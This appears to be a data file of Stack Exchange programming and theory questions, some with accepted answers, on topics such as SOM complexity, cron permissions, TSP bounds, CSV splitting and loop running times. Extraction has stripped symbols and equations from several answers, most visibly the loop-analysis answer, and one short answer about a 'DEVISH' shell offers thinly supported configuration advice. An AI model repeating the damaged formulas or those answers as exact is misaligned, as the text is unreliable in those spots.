{  "id": "_cstheory.36943"  , "question": "The SOM AlgorithmIn pseudo-code, for M map units represented by a vector $m \\in \\mathcal{R}^p$ where $p$ is the vector dimension, the on-line version of the SOM algorithm looks like the following:For each iteration $i in I$:  For each sample $s \\in S$     Find map unit with min distance $m_{bmu} = \\argmin_{m \\n M}$     Update the Best-Matching Unit (BMU) and neighborhood closer to $m_{bmu}$There does not appear to be controversy about how the algorithm looks between various assessments of complexity.Complexity Analysis in the LiteratureKaski (1997) wrote that the complexity is $O(K^2)$ where $K$ is the number of map units. As each learning step requires $O(K)$ computations, to achieve a sufficient statistical accuracy the number of iterations should be at least some multiple of K.   Presumably this means that $I$ and $M$ (in my above notation) will grow together, such that an increase in $M$ implies an increase in $I$, such that the number of distance calculations and updates grows with $K^2$, and that $N$ and $p$ are assumed as constants that can be disregarded in asymptotic analysis. Drigas and Vrettaros (2008) also report complexity as quadratic to the number of inputs, but do not perform any discussion of it, nor list any assumptions.In contrast, Roussinov and Chen (1998) described the complexity as $O(NC)$ where $N$ is the input vector size and $C$ is the number of cycles. (I.e., $p$ and $I$ in my notation, respectively).  The authors claimed that this could be expressed as $O(S^2)$ as the vector dimensionality is proportional to the number of documents in a collection (i.e., the number of unique terms).  Then, because each document is presented multiple times, C and be represented by $S$, thus $O(S^2)$.Lastly, Maiorana (2008) divided the algorithm into phases, and claimed that, for each iteration, the computation of the winning neuron (ie., the BMU) is $O(N^2 \\times no)$ where N is the number of input elements ($S$ in my notation) and $no$ is the number of classes or output neurons, i.e., Map Units.  Now this was surprising to me.  Why would computing the winning neuron require $N^2 \\times no$ computations of distance?  For each sample, only one comparison to all Map Units is required.Specification of QuestionTo me, it seems like the time complexity is $O(I\\times S\\times N\\times p)$, as there are two outer loops, and the determination of the BMU requires a visit of all the map units, $M$.  Clearly, any increase of either I, S or M will mean that more computations of the distance $d(s, m)$ are required.  Furthermore, if the dimension $p$ is increased, an additional flop is required to compute the difference between the corresponding vector elements.Central to my question is how the complexity of this algorithm really should be reported and analyzed.  There is, of course, always a chance that such an analysis already exists, but I have not been able to find it this far.  There is also a question on Cross-Validated https://stats.stackexchange.com/questions/147313/what-is-the-computational-complexity-of-the-som-algorithm with an answer, but it only provides links, and no real analysis.Since all four factors I have cited above, clearly affect running time, it seems to me that the potential dependence between factors is how complexity can be squared (or cubic) with regard to some term.  Unless the premise is made that any of them are fixed, I think the analysis is incomplete."  , "title": "What is the computational complexity of the on-line Self-Organizing Map (SOM) algorithm?"  , "tags": "time complexity"  } 
{  "id": "_webmaster.14894"  , "question": "So I was developing my PHP application, right? And then all of a sudden, my sessions wont work anymore! So I checked my error log, and here is what it told me (a few times)PHP Startup: Unable to load dynamic  library  '/usr/local/lib/php/extensions/no-debug-non-zts-20060613/imagick.so'  - /usr/local/lib/php/extensions/no-debug-non-zts-20060613/imagick.so:  cannot open shared object file: No  such file or directory in UnknownWhats going on? I have a regular webhost with access to cPanel. This just happend all of a sudden, and I have no clue of what to do. Help appreciated. :)"  , "title": "Sessions suddenly not working in PHP, and error log contains a lot of junk now"  , "tags": "php;error;session"  } 
{  "id": "_softwareengineering.250334"  , "question": "This is not a question about how to number versions.We have an application with a certain version numbering scheme. We also have a Jenkins CI server (soon to be replaced with Atlassian's Bamboo) that regularly builds our software. The application displays the version number, so it's written in one of the files in our code base.We don't want to manually change the version number before releasing a version. Our current solution is that we have a Jenkins job that changes the version number in our code base, commits it, tags the repository with the version number, pushes it and then packages the application for distribution. The problem with that is that we have to decide to release a version before the build succeeds or fails. What we want to do is this: have Jenkins regularly build our product and run the unit tests. Afterwards, we want to select a passing build and release it with a certain version number. In summary, this is the process I want:Jenkins builds and tests our product regularly.When we want to release a version, we can select the last passing build from Jenkins and check to release it.The resulting release should include the version number.The commit that was built and released should be tagged with the release number.What is the best practice for releasing product versions? Is there a process that will meet my demands?"  , "title": "Building software with version numbers"  , "tags": "continuous integration;versioning"  } 
{  "id": "_unix.108979"  , "question": "I'm trying to get a ruby script to run via cron. The cron job looks like this:* * * * * /usr/local/rvm/rubies/ruby-2.0.0-p353/bin/ruby /usr/share/adafruit/webide/repositories/shed_watcher/lib/shed_watcher.rb >> /tmp/cron_shed_watcher.log 2>&1I've encountered a couple of problems. The first was that the environment cron runs in could find one of the required gems:require rest_clientThis was solved by setting the GEM_PATH in the crontab:GEM_PATH=/usr/local/rvm/gems/ruby-2.0.0-p353:/usr/local/rvm/gems/ruby-2.0.0-p353@globalThe second problem is that the script, running on Occidentals on a Raspberry Pi, makes use of a temperature probe and needs to call:`modprobe w1-gpio``modprobe w1-therm`i.e. modprobe commands in backticks. Cron cannot execute this, instead I get an operation not permitted message. modprobe is found in /sbin so I added a path entry to my crontab:PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin/usr/local/rvm/gems/ruby-2.0.0-p353/bin:/usr/local/rvm/gems/ruby-2.0.0-p353@global/bin:....But I get the same error (not surprising as it was a not permitted message, not a not found message). What do I need to do to get this working?"  , "title": "Giving cron permission to execute command"  , "tags": "raspberry pi;ruby;modprobe"  , "accepted_answer": "You should add your job to the root's crontab, not the user's one. User's crontabs always executed with uid/gid of the user when root crontab can contain additional field:* * * * * username /path/to/the/commandThen command will be executed with username privileges/permissions."  } 
{  "id": "_cstheory.37163"  , "question": "Jerrum,Valiant and Vazirani on their paper Random generation of combinatorial structures from a uniform (http://www.cc.gatech.edu/~vazirani/AppCount.pdf) talk about seeing problems related to relations in a Existence, Construction, Uniform Generation and Counting hierarchy.In the case of the of M being a perfect matching in a bipartite graph G, we know that the problems of existence and construction are easy, and the counting problem is #P-Complete. The uniform generation problem is to generate a perfect matching in such a way that all perfect matching have the same probabilityIs anything know about the problem of uniform generation of perfect matchings?"  , "title": "Complexity of Uniform Generation of Perfect Matchings"  , "tags": "cc.complexity theory;reference request;graph theory;counting complexity;matching"  , "accepted_answer": "The Jerrum-Sinclair-Vigoda algorithm can be used to sample perfect matchings approximately in bipartite graphs. For general graphs, as far as I know, sampling perfect matchings (approximately or exactly) is still open."  } 
{  "id": "_unix.364366"  , "question": "I sometimes see this pattern in installation instructions:sh ./ poky-<...>-2.1.1.shNote the first parameter, ./.How does this method of calling sh compare to the following?sh ./poky-<...>-2.1.1.sh"  , "title": "Shell script call with current dir as first parameter and shell script as second"  , "tags": "linux;shell script;shell"  , "accepted_answer": "This is a typographical error in the instructions that you are reading.sh ./ scriptThis would try to run the script called ./ with the string script as its first command line argument. This will fail (or at least do nothing).If you see this particular typographical error again, just remove any space between the ./ and the name of the actual script."  } 
{  "id": "_cs.18209"  , "question": "Symmetric/Metric TSP can be solved via the Held-Karp algorithm in $\\mathcal O(n^2 2^n)$.See A dynamic programming approach to sequencing problems by Michael Held and Richard M. Karp, 1962.In Exact Algorithms for NP-Hard Problems: A Survey (PDF) Woeginger writes:This result was published in 1962, and from nowadays point of view almost looks trivial. Still, it yields the best time complexity that is known today.Thus, this is the best known upper-bound.Question:Are there any better results for Euclidean TSP? Or does that best-known bound apply to Euclidean TSP as well.How is Euclidean TSP different? Well,Euclidean TSP can be encoded into $\\mathcal O(n \\log m)$ space, where $n$ is the number of cities, and $m$ is the bound on the integer coordinates of the city locations. As opposed to (sym)metric TSP variants, which essentially require a distance matrix of size $\\mathcal O(n^2 \\log m)$. Thus, it might be easier to solve; for example, perhaps Euclidean TSP can be more easily encoded into k-SAT, because the distance function is implicit.Contrary to popular notion, Euclidean TSP's reduction from k-SAT is quite different from (sym)metric TSP. UHC (undirected Hamiltonian cycle), symmetric TSP, and metric TSP are pretty directly related to each-other. But formulations of reductions from (sym)metric TSP to Euclidean TSP are not easy to come by. Paragraph, from interesting article, The Travelling Salesmans Power by K. W. Regan (bold mine):Now the reductions from 3SAT to TSP, especially Euclidean TSP, are less familiar, and we ascribe this to their being far more expansive. Texts usually reduce 3SAT to Hamiltonian Cycle, then present the latter as a special case of TSP, but this does not apply to Euclidean TSP. The ${\\mathsf{NP}}$-completeness of Euclidean TSP took a few years until being shown by Christos Papadimitriou, and a 1981 paper by him with Alon Itai and Jayme Luiz Szwarcfiter advertised a new, relatively simple, proof. This proof uses vertex-induced subgraphs of the grid graph in the plane, for which the shortest possible TSP tour and any Hamiltonian cycle have the same length. Despite this simplification, the gadgets involved are largea diagram of one occupies most of one journal page.Hunting down k-SAT $\\rightarrow$ Euclidean TSP reductions is quite an adventure; so far I've found two of them. One $\\rm k\\text{-}SAT \\rightarrow CircuitSAT \\rightarrow PlanarCircuitSAT \\rightarrow EuclideanTSP$, and another, even tougher one to find, $\\rm k\\text{-}SAT \\rightarrow DHC \\rightarrow UHC \\rightarrow PlanarUHC \\rightarrow EuclideanTSP$. The latter reduction can perhaps be seen to make Euclidean TSP parallel (sym)metric TSP."  , "title": "Can Euclidean TSP be exactly solved in time better than (sym)metric TSP?"  , "tags": "graph theory;reference request;time complexity;np hard;traveling salesman"  , "accepted_answer": "One can exploit planar separator structures in a geometric setting and thus solve Euclidean TSP exactly in $O(n^{c \\sqrt{n}})$ time, where $c$ is some small constant greater than 1. There's at least three simultaneous results for this; Smith's PhD thesis [1], Kann's PhD thesis [2], and Hwang et al. [3]. Each algorithm has a running time of $O^*(c^{\\sqrt{n} \\log n})$. This is much better than $O(n^2 2^n)$. As far as I know, it is still an open question whether the running time can be improved by say getting rid of the logarithmic term. [1] W.D. Smith, Studies in computational geometry motivated by mesh generation. Ph.D. Thesis, Princeton University, Princeton.[2] V. Kann, On the approximability of NP-complete optimization problems, Ph.D. Thesis, Kungliga Tekniska Hgskolan, Stockholm, 1992.[3] R.Z. Hwang, R.C. Chang, R.C.T. Lee, The searching over separators strategy to solve some NP-hard problems in subexponential time,Algorithmica 9 (1993) 398423."  } 
{  "id": "_codereview.169441"  , "question": "Okay...so I have been self teaching for about seven months, this past week someone in accounting at work said that it'd be nice if she could get reports split up....so I made that my first program because I couldn't ever come up with something useful to try to make...all that said, I got it finished last night, and it does what I was expecting it to do so far, but I'm sure there are things that have a better way of being done.  I wanted to get it finished without help first, but now I'd like someone to take a look and tell me what I could have done better, or if there is a better way to go about getting the same results....What this is doing is: it opens a CSV file (the file I've been practicing with has 27K lines of data) and it loops through, creating a separate file for each billing number, using the billing number as the filename, and writing the header as the first line.  Each instance is overwriting the file if it is already created, this is an area I'm sure I could have done better. After that, it loops through the data again, appending each line of data into the correct file.import osimport csv#currentdirpath = os.getcwd()#filename = 'argos.csv'#file_path = os.path.join(os.getcwd(), filename) #filepath to opendef get_file_path(filename):    ''' - This gets the full path...file and terminal need  to be in same directory - '''    file_path = os.path.join(os.getcwd(), filename)    return file_pathpathOfFile = get_file_path('argos.csv')''' - Below opens and reads the csv file,     then going to try to loop and write the rows out in files sorted by Billing Number - '''with open(pathOfFile, 'rU') as csvfile:    reader = csv.reader(csvfile)    header = next(reader)    for row in reader:        new_file_name = row[5][:5] + '.csv'    ''' Create file named by billing number, and print the header to each file '''        fb = open(new_file_name, 'w+')        fb.write(str(header) + '\\n')        #fb.close()with open(pathOfFile, 'rU') as csvfile:    reader = csv.reader(csvfile)    for row in reader:        new_file_name = row[5][:5] + '.csv'        ab = open(new_file_name, 'a')        ab.write(str(row) + '\\n')I've left a few of the things in there that I had at one point, but commented out...just thought it might give you a better idea of what I was thinking...any advice is appreciated!"  , "title": "Split data from single CSV file into several CSV files by column value"  , "tags": "python;csv"  , "accepted_answer": "Don't use string literals as comments. PEP 8 explains how to use comments.Docstrings should use  rather than ''', as described in PEP 257. Also your docstring doesn't need the -, and should probably be rephrased slightly to fit on one line.Close files, #fb.close() shows you went out of your way to make bad code. Without fb.close or wrapping open in a with, the file is not guaranteed to be closed. I personally prefer with to fb.close, as described here.Personally, rather than over-riding your files \\$n\\$ times, I'd use collections.defaultdict, to group all your files into their rows.You may want to change get_file_path, to be based of __file__. Or leave your path to be relative, as it'll default to that behavior.import osimport csvfrom collections import defaultdictFILE_DIR = os.path.dirname(os.path.abspath(__file__))def get_file_path(filename):    return os.path.join(FILE_DIR, filename)file_path = get_file_path('argos.csv')with open(file_path, 'rU') as csvfile:    reader = csv.reader(csvfile)    header = next(reader)    data = defaultdict(lambda:[header])    _ = data[header[5][:5]]    for row in reader:         data[row[5][:5]].append(row)    for file_name, rows in data.items():        with open(file_name, 'w+') as f:            for row in rows:                f.write(str(row) + '\\n')"  } 
{  "id": "_softwareengineering.182034"  , "question": "Obviously, testing methods are language-independent. An integration test stays an integration test no matter what the technology. But platforms implement some kinds of testing support. And the details vary between implementations, so a programmer has to learn how to use the tools of their framework. And platforms evolve, so best practices in one version may become obsolete or at least inefficient in the next version. See for example this StackOverflow question about unit tests for which at least the first three answers seem to be valid: One describing the correct solution for the current version, one describing the solution which used to be best before the .NET framework included an ExpectedException attribute, and one describing a generic solution which is tool-independent. My question is: were there any major testing-related changes between the .NET framework versions 3.5 and 4.5? Something as disruptive to testing as introducing generics was to programming in general, or introducing the Membership framework was to authentication? Or were there only small enhancing changes? I am asking this because I wonder whether learning materials written for 3.5 are still reasonably valid today. "  , "title": "Were there major changes in testing practices in ASP .NET between 3.5 and 4.5?"  , "tags": "testing;asp.net;changes"  , "accepted_answer": "I would say 3.5 testing information is still reasonably valid. Microsoft has added some enhancements, but I wouldn't call them disruptive or assert that the paradigm has shifted.One change is code contracts, though I don't think they affect unit testing so much as provide an additional/improved way to validate parameters, which may change the way code is tested.Most of the changes/improvements are not with the framework but more with the IDE -- Visual Studio 2012 introduces some new tools and features, including support for third-party frameworks, test management, as well as a new isolation framework called Fakes.Fakes is a great addition (if you have the 2012 Ultimate version), but arguably not much different than third-party frameworks that were available previously, most notably Typemock Isolator. "  } 
{  "id": "_webmaster.93976"  , "question": "I have recently developed a website that allows users to have a sub-domain creation of our online store: www.USERNAME.example.comI need to offer the user the ability to have their own complete domain. www.USERNAME.com and then using cloaking alone with Path Forwarding replace their subdomain:www.USERNAME.com  == SHOWS INSTEAD OF ==>> www.USERNAME.example.comwww.USERNAME.com/contact === SHOWS INSTEAD OF ==>> www.USERNAME.example.com/contactI need to know the best way to do this.. I know that each actual domain I will need to purchase.. but does anyone know what coding to add to the htaccess file..Please include full instructions if possible as I'm not the best at all of this?"  , "title": "Path Forwarding with cloaking or masking"  , "tags": "domain forwarding;masking;cloaking;path"  } 
{  "id": "_unix.120909"  , "question": "U-Boot 2013.07 (Nov 21 2013 - 18:12:40)Memory: ECC disabledDRAM:  1 GiBMMC:   zynq_sdhci: 0SF: Detected N25Q128A with page size 64 KiB, total 16 MiBIn:    serialOut:   serialErr:   serialNet:   Gem.e000b000Hit any key to stop autoboot:  0SF: Detected N25Q128A with page size 64 KiB, total 16 MiBSF: 11010048 bytes @ 0x520000 Read: OKWrong Image Format for bootm commandERROR: can't get kernel image!U-Boot-PetaLinux>then I would type run sdboot, and it boots from sd card, where I have put an image for sd booting.It shows that by default UBoot is booting from flash. What changes do I need to make in uboot and where so that the default boot device is SD card and not the flash?Is there any environmental variable I have to set for this? "  , "title": "How to make sd card as default boot in uboot?"  , "tags": "sd card;u boot"  } 
{  "id": "_softwareengineering.253421"  , "question": "I'm reading algorithms and I understand most of it, one thing that I can still struggle with a lot is something as simple as running times on different for-loops. Everyone seems to have easy with that, except for me and therefore I search help here.I am currently doing some excercises from my book and I need help completing them in order to figure out the different running times.The title of the exercise is: Give the order of growth(as a function of N) of the running times of each of the following code fragmentsa:int sum = 0;for (int n = N; n > 0; n /= 2)  for(int i = 0; i < n; i++)    sum++;b:int sum = 0;for (int i = 1; i < N; i *= 2)  for(int j = 0; j < i; j++)    sum++;c:int sum = 0;for (int i = 1; i < N; i *= 2)  for(int j = 0; j < N; j++)    sum++;We have learned different kinds of running times/order of growth like n, n^2, n^3, Log N, N Log N etc. But I have hard understanding which to choose when the for loop differs like it does. the n, n^2, n^3 is not a problem though, but I can't tell what these for-loops running time is.Here's an attempt of something.. the y-axis represents N value and the x axis represents times the outer loop has been run. The drawings in the left is: arrow to the right = outer-loop, circle = inner loop and the current N value. I have then drawn some graphs just to look at it but I'm not sure this is right though.. Especially the last one where N remains 16 all the time. Thanks."  , "title": "Running time of simple for-loops"  , "tags": "algorithms;big o;runtime"  , "accepted_answer": "BackgroundFor an arbitrary for loop such as:for (int p = ; )    do_something(p);it should be clear that the run time of this loop is simply the sum of the run times of the inner computations (i.e. do_something(p) in this case).  Note that the run time of the inner computation may depend on the loop variable(s).In the special case where the run time of do_something(p) is independent of the loop variable(s), the run-time is then proportional to the number of times the inner computation is executed.Typically, simple arithmetic such as incrementing (sum++) are constant-time operations.For brevity I will use log to denote the base-2 logarithm.  Additionally, I will use pow(x, y) to denote x raised to the power y because ^ is often used for something else in the C-family of languages.The problemsThe interesting coincidence in this set of problems is that the run time of each computation is actually proportional to the final value of the sum (can you see why?) so the question can be simplified to: how does the final value of sum vary with the parameter N?The sum can be calculated algebraically, but we don't need to know the exact result.  We just need to make some good estimates.Problem Aint sum = 0;for (int n = N; n > 0; n /= 2)  for (int i = 0; i < n; i++)    sum++;How many times does the outer loop run?  It starts at N and goes down by half each time until it hits zero.  This is just (a discrete version of) an exponential decay with a base of 2.  Therefore, we can make an educated guess thatn  1 / pow(2, p)    [approximately]Here, we define p to be a counter that increases by 1 each time the outer loop is repeated.  In fact, this is exactly what your graph plots.Where does p start?  We can just pick p_start = 0 for convenience, and this allows us to determine the coefficient of proportionality: n  N / pow(2, p)Where does p end?  Whenever n reaches zero!  Since this is integer division, n can only be zero if N < pow(2, p).  From this we can deduce that p_end  log(N) (base-2 logarithm).  With experience, you can easily skip this entire analysis and jump straight to this conclusion instead.Now we can rewrite the loop using the variable p instead of n (again, approximately).  Notice that every instance of n must be substituted:int sum = 0;for (int p = 0; p < log(N); p++)  for (int i = 0; i < N / pow(2, p); i++)    sum++;The advantage of writing the loop like this is that it becomes obvious how many times the outer loop is repeated.  (Keen readers may notice that this is The inner loop consists of only increments to sum and is repeated N / pow(2, p) times, so we can just rewrite the above to:int sum = 0;for (int p = 0; p < log(N); p++)  sum += N / pow(2, p);(Note that the run time of this loop may no longer be the same, but the value of sum still reflects the run time of the original problem.)From this code we can write the value of sum as:(As randomA noted, this is just a geometric series so there is a well-known closed-form expression for the sum.  Here I use a more general technique based on calculus, however.)This can be simplified further by approximating the summation as an integral:And there you go, the run time of the problem A is linear with respect to N.Problem Bint sum = 0;for (int i = 1; i < N; i *= 2)  for (int j = 0; j < i; j++)    sum++;The problem here is similar, but I'll omit some of the steps.  The variable i grows exponentially, so we can do the transformation:i  pow(2, p)with p increasing by one at each iteration, starting from 0, and ending at log(N).  After variable substitution, the loop becomes:int sum = 0;for (int p = 0; p < log(N); p++)  for (int j = 0; j < pow(2, p); j++)    sum++;which reduces to:int sum = 0;for (int p = 0; p < log(N); p++)  sum += pow(2, p);You can apply the same tricks again to find a closed-form expression for the sum: it is also O(N).Problem Cint sum = 0;for (int i = 1; i < N; i *= 2)  for (int j = 0; j < N; j++)    sum++;This one is actually quite a bit easier because the number of repeats of the inner loop doesn't depend on the outer loop variable, so we can go right away and simplify this to:int sum = 0;for (int i = 1; i < N; i *= 2)  sum += N;The loop has the same exponential behavior as in Problem B, so it is run only log(N) times, so this can then be simplified to:int sum = 0;sum += log(N) * N;Hence, the run time is O(N log(N))."  } 
{  "id": "_scicomp.19591"  , "question": "When using the SIMPLE method on a mesh with a collocated variable arrangement, the following interpolation is used for the advecting velocities:\\begin{equation}u_f = \\overline{u}_f - \\overline{D}_f\\left(\\left(\\nabla P\\right)_f - \\overline{\\left(\\nabla P\\right)}_f\\right)\\end{equation}where the over bar denotes a geometrically interpolated quantity and\\begin{equation}D_P = \\frac{V_P}{a_P}\\end{equation}where $V_P$ is the volume of cell $P$ and $a_P$ is the central coefficient arising from the discretized momentum equation,\\begin{equation}a_Pu_P + \\sum_{F}a_Fu_F = -V_P\\nabla P\\end{equation}Anyways, my question is, how do you correctly determine $\\overline{D}_f$ at boundaries? I recently wrote a SIMPLE solver for unstructured meshes, but have noticed that the largest continuity errors are always occurring at the boundary cells, leading me to think I may have accounted for this term incorrectly (I simply extrapolate it to the boundary face). This term can be very important in the computations as it also shows up in the pressure correction equation. I also have some difficulty getting the solver to converge when using inlet/outlet boundary conditions."  , "title": "A Question About the Rhie-Chow Interpolation Used for Solving the Incompressible Navier-Stokes Equations on Unstructured Grids"  , "tags": "fluid dynamics;computational physics;numerical;numerical modelling"  } 
{  "id": "_unix.192599"  , "question": "I've got a server on my LAN which hosts a website. I've also got a router with openWRT serving as gate between the internet (with public IP 1.2.3.4) and LAN and a registered hostname say myhost.com. I could set additional subhost gitlab.myhost.com pointing to 1.2.3.4.The question is: how do I pass connections to LAN (via the openWRT router) using port 80 or 443 only when the request is for gitlab.myhost.com."  , "title": "access to local web site from internet using hostname"  , "tags": "internet;openwrt;lan"  } 
{  "id": "_softwareengineering.197118"  , "question": "I'm currenetly struggling with choosing how to proceed as a programmer. I mainly programmed games and would like to continue. And for about 5 years or so I just used C++ and OpenGL, so I spent a lot of time on infrastructure, strange bugs, and mostly getting basic things to work.A friend of mine then recommended python and after initially being aversed by it being not as explicit and formal as I was used to I was shocked by how much more productive I could be and how much progress I could actually make in a very small amount of time.So currently I'm working on a multiplayer-shooter and repeatedly I find myself struggling with python being not as fast I might want it to be. I know that that I have to approach writing efficient code in python very differently now, but even with a little help from friends that are more experienced with python there is just too much going on sometimes (and extrapolating this, I know that I will end up stuck).There are a lot of things I really like about my home-language C++, but after knowing how many hours I could be wasting I don't really want to go back.What language can you recommend which offers high-productivy, is memory-safe (I really hated this) and as high-performance as I can get, but is still mature enough to be used for kind of serious projects (games-related) and maybe even mature enough to have people already having spent some time on OpenGL-Bindings or various libraries for Sound and similar (alternatively easy access to shared libraries written in C). Easy cross-plattform is a big plus! So no .NET please. Is this even possible?"  , "title": "Spoiled by Python convenience- and productivity-wise, spoiled by C++ speed-wise. Now unhappy with both"  , "tags": "programming languages;c++;python;game development"  } 
{  "id": "_scicomp.1372"  , "question": "Is there a speedier way to calculate standard errors for linear regression problems, than by inverting $X'X$? Here I assume we have regression:$$y=X\\beta+\\varepsilon,$$where $X$ is $n\\times k$ matrix and $y$ is $n\\times 1$ vector.For finding least squares problem solution it is impractical to do anything with $X'X$, you can use QR or SVD decompositions on matrix $X$ directly. Or alternatively you can use gradient methods. But what about standard errors? We really only need the diagonal of $(X'X)^{-1}$ (and naturally LS solution to calculate the estimate of standard error of $\\varepsilon$). Are there any specific methods for standard error calculation?"  , "title": "Computing standard errors for linear regression problems without calculating inverse"  , "tags": "linear algebra;optimization"  , "accepted_answer": "Let's suppose that you solved your least squares problem using the singular value decomposition (SVD) of $X$, given by$$X = U\\Sigma V',$$where $U$ and $V$ are unitary, and $\\Sigma$ is diagonal.Then$$X'X = V \\Sigma^2 V'.$$$(X'X)^{-1}$ exists iff $X$ is full rank (or has strictly positive singular values), in which case$$(X'X)^{-1} = V \\Sigma^{-2} V'.$$(See an answer I gave to a related question on Math.SE.)If you already have $\\Sigma$ and $V$, calculating $(X'X)^{-1}$ requires inverting and squaring a diagonal matrix ($n$ operations for an $n \\times n$ matrix), scaling the columns (or rows) of a matrix ($n^2$ operations), and a single matrix multiply (unfortunately $\\mathcal{O}(n^{3})$). This method will be well-behaved numerically.There are fast methods for obtaining the diagonal elements of the inverse of a sparse matrix (see work by Yousef Saad's group and work by Lin Lin, et al). However, in your case, $X'X$ is probably not sparse (even if $X$ is), and even if it were, it would likely be ill-conditioned enough that these fast methods would yield inaccurate results. "  } 
{  "id": "_cs.9379"  , "question": "I am interested in precise time complexity of distributed algorithm for finding MIS (Maximum Independent Set) of a given graph $G$.I investigate the Slow MIS distributed algorithm (from these lecture notes, page 2).Following is the more detailed version than in lecture notes.Every node sends its UID to it's neighbors.Run procedure joinon event: getting a message decide(1)  from a neighbor $w$ doSet $b = 0$ - flag that node terminates and not participating in further phases.Send decide(0) to all neighborson event: getting a message decide(0) from a neighbor $w$ do:Invoke procedure join.Procedure Joinif every neighbor $w$ of $v$ with a larger identifier has decided $b(w) = 0$, then doSet $b = 1$.Send decided(1) to all neighbors.The question is what's time complexity of the algorithm $\\Theta(n)$ or $\\Theta(D)$, where $D$ is a diameter of $G$.In the lecture notes linked above, they say that time complexity is $O(n)$. I  think that in our case it can be expressed as $\\Theta(D)$ (simultaneously $O(D)$ and $\\Omega(D)$) for special cases.The problem is how to prove that that time complexity in general is $O(D)$ and there are special cases when time complexity is $\\Omega(D)$ if it's right at all.Let's take a look at the example I have in mind.$D=1$ and $n=4$, and as I understood the algorithm every vertex will decide to join MIS on the first round.If you have an idea how to show that, please, share it with us. "  , "title": "Slow MIS Distributed Algorithm"  , "tags": "algorithms;time complexity;distributed systems"  } 
{  "id": "_codereview.122411"  , "question": "What is a better way to create this select statement? I tried to just select 'u' and 'us', but the object properties were not accessible when I did this.var userSubmittedRequests = (from u in db.TimeRequests                                     join us in db.UserManagers                                     on u.EmployeeUserID equals us.UserID                                     join ut in db.Users                                     on us.ManagerID equals ut.UserID                                     where (us.ManagerID == userResult.UserID)                                     where(u.User.disabled == false)                                     select new PendingTimeOffViewModel                                     {                                       TimeRequestID = u.TimeRequestID,                                       sDateTime = u.sDateTime,                                       eDateTime = u.eDateTime,                                       EmployeeUserID = u.EmployeeUserID,                                       ManagerID = u.ManagerID,                                       hrID = u.hrID,                                       ApproveDenyReasonID = u.ApproveDenyReasonID,                                       ManagerApproval = u.ManagerApproval,                                       ManagerActionDate = u.ManagerActionDate,                                       ManagerComment = u.ManagerComment,                                       hrApproval = u.hrApproval,                                       hrActionDate = u.hrActionDate,                                       hrComment = u.hrComment,                                       UserSubmitDate = u.UserSubmitDate,                                       Comment = u.Comment,                                       DayTypeID = u.DayTypeID,                                       User = u.User,                                       CompanyDesc = ut.Company.CompanyDesc,                                       User1 = u.User1,                                       User2 = u.User2,                                       DayType = u.DayType,                                       ManagerIDUM = us.ManagerID,                                       ManagerADName = ut.ADUserName,                                       ManagerName = ut.FullName                                     }).ToList();View model: public class PendingTimeOffViewModel {    public int TimeRequestID { get; set; }    public int  CompanyID {get;set;}    public System.DateTime sDateTime { get; set; }    public System.DateTime eDateTime { get; set; }    public int EmployeeUserID { get; set; }    public Nullable<int> ManagerID { get; set; }    public Nullable<int> hrID { get; set; }    public Nullable<int> ApproveDenyReasonID { get; set; }    public bool ManagerApproval { get; set; }    public Nullable<System.DateTime> ManagerActionDate { get; set; }    public string ManagerComment { get; set; }    public bool hrApproval { get; set; }    public Nullable<System.DateTime> hrActionDate { get; set; }    public string hrComment { get; set; }    public string Comment { get; set; }    public System.DateTime UserSubmitDate { get; set; }    public int DayTypeID { get; set; }    public Nullable<int> HoursRequested { get; set; }    public virtual ApproveDenyReason ApproveDenyReason { get; set; }    public virtual DayType DayType { get; set; }    public virtual User User { get; set; }    public virtual User User1 { get; set; }    public virtual User User2 { get; set; }    public virtual Company Company { get; set; }    public int UserManagerID { get; set; }    public Nullable<int> UserID { get; set; }    public Nullable<int> ManagerIDUM { get; set; }    public string ManagerADName { get; set; }    public string ManagerName { get; set; }    public string CompanyDesc { get; set; }}"  , "title": "LINQ query for a user's submitted time-off requests"  , "tags": "c#;linq"  } 
{  "id": "_softwareengineering.216597"  , "question": "Can anyone explain me what byte stream actually contains? Does it contain bytes (hex data) or binary data or english letters only? I am also confused about the term raw data. If someone asked me to reverse the 4 byte data, then what should I assume the data is hex code or binary code?"  , "title": "What is a byte stream actually?"  , "tags": "stream processing"  } 
{  "id": "_reverseengineering.15305"  , "question": "I am working to reverse app, this app use zlib library.is there any way I can make IDA to recognize the name of the zlib(lib) functions.I don't want to waste my time to analyze the zlib functions.Thanks"  , "title": "Static lib functions"  , "tags": "ida;static analysis"  } 
{  "id": "_softwareengineering.109646"  , "question": "Recently I've finished learning about multithreaded programming on single shared objects, but was curious about how different things would be in order to successfully program on multiple shared objects?"  , "title": "Multithreaded Programming?"  , "tags": "programming practices;multithreading"  , "accepted_answer": "This is a very hot current research topic. The question of how to properly share data between multiple, concurrent, processing units, doesn't have obviously good answers yet.Some of the issues that change and you should think about:With multiple shared objects, you'll want to have different threads being able to work with different objects at the same time. If two objects are different, but related, you'll need to have a way of deciding whether they can be worked on independently of each otherObjects may end up moving around in memory more, as they get moved closer to where they are being used (physically closer, or logically closer)Multiple related objects may end up cached in multiple, un-related, caches. Those caches are going to want to know when they've become invalid, which they might if one of a set of related objects is changed. Imagine, for example, a thread which draws to the screen, while other threads go about modifying the data that's being drawn. How do you make sure that what you see on the screen makes sense?There are different ways for objects to be accessed, some with side effects, some without. The patterns of access can heavily influence performance - optimization techniques can become intractably complex"  } 
{  "id": "_unix.211380"  , "question": "With the update from BasilOS Quad to Pentus, DEVISH became the primary shell(replacing bash)... I am completely unfamiliar with DEVISH, so I need to be able to switch back to bash... I tried chsh but it said it was not a command... Any help would be appreciated..."  , "title": "How to switch to bash on DEVISH?"  , "tags": "bash;shell"  , "accepted_answer": "Simply type sh to switch to an interactive bash shell... It was added as a feature for people who preferred Bash to DEVISH... Also, if you edit your .devishrc (found in ~), then you can add DEVISH-func=false, to permanently disable DEVISH... It is always reversible..."  } 
